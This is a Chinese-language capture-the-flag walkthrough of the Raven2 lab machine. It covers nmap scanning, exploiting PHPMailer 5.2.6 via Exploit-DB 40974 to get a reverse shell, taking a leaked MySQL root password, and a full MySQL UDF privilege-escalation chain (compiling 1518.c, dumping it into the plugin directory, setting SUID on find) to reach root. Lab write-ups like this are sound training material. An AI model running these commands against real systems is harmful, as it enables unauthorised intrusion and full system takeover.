Raven2靶机
信息收集
主机信息收集
主机ip
map -sn 192.168.241.0/24
主机开放端口
nmap --min-rate 10000 -p- 192.168.241.169
主机开放端口服务详细版本
nmap -sT -sV -O -p22,80,111,39169 192.168.241.169
nmap漏洞探测
nmap --script=vuln -p22,80,111,39169 192.168.241.169
nmap漏洞探测没有发现可利用的漏洞信息,只有网站的路径枚举信息,,我们留着,后面查看
有个blog使用wordpress框架
主机开放有22,80,111,39169端口 ,22端口没有收集到账号密码信息,那么暴力ssh 消耗时间成本太大,,优先80端口
web 信息收集
80端口
浏览完页面没有发现什么, 发现blog 是个wordpress CMS,有个搜索,尝试注入,使用sqlmap 跑了一下,没跑成功;
nmap 漏洞探测有路径枚举出的进行访问
wordpree登录页面 尝试弱口令失败
查看一下wordpress 的版本,已经限制,不能查看版本
http://192.168.241.169/wp-admin/install.php
/vendor/
在http://192.168.241.169/vendor/目录下;
查看path文件发现有个绝对路径,记录下:
VERSION,查看该文件可看到一个版本号:5.2.6,这可能是一个软件版本号
再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,如 PHPMailerAutoload.php ,可确定 5.2.6 是 PHPMailer 的版本号。
于是使用 searchsploit 在 exploit-db 中搜索 PHPMailer 相关的 exp。这里我们使用40974
下载后修改:
a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。
b.修改target为靶机IP地址,利用文件为contact.php。
c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。
d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。
e、使用python3 运行脚本
kali设置监听端口,靶机访问shell 文件.
http://192.168.241.169/shell.php
获取系统初始立足点
获取良好shell交互性
python -c 'import pty;pty.spawn("/bin/bash");'
sudo -l
需要密码,这里我们没有,略过
查看计划任务
发现计划任务不可利用
查看密码文件的权限及账号信息
/etc/passwd 对于当前用户只有read 权限,那我们就查看一下账户信息
michael:x:1000:1000:michael,,,:/home/michael:/bin/bash
steven:x:1001:1001::/home/steven:/bin/sh
这两个账号家目录下没有发现什么有用信息
查找当前用户能够执行的s位文件
find / -perm -u=s -type f 2>/dev/null
s位文件中也没有发现可以利用的信息
查看服务
发现系统启用了22(ssh)111 (rpcbind),3306(mysql) 等服务。既然有数据库,还有之前有个wordpress 的blog ,那么查找一下数据库配置文件,
嘿嘿。。。 ssh端口也开放 我们先尝试 只用这个密码和之前的两个账号和root进行ssh爆破
失败告终,我们现在有数据库的root 的密码,那么我们尝试mysql udf 提权呢
提权
mysql udf 提权信息收集
(1)mysql 登录账号及密码:
root R@v3nSecurity
(2)查看secure_file_priv值是否为空
show variables like '%secure_file_priv%';
(3)查看数据库插件路径
show variables like '%plugin%';
(4)查看数据库版本
mysql udf 提权利用文件exp 准备
(1)使用searchsploit 查找 mysql udf exp
(2)这里我们使用1518.c 上传靶机上tmp 目录并编译生成共享库文件1518.so
gcc -g -c 1518.c -fPIC
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
(3) 靶机登录数据库操作:
create table fo(line blob);
insert into fo values(load_file('/tmp/1518.so'));
select * from fo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
提权操作
cd /tmp
touch foo
find foo -exec "/bin/sh" \;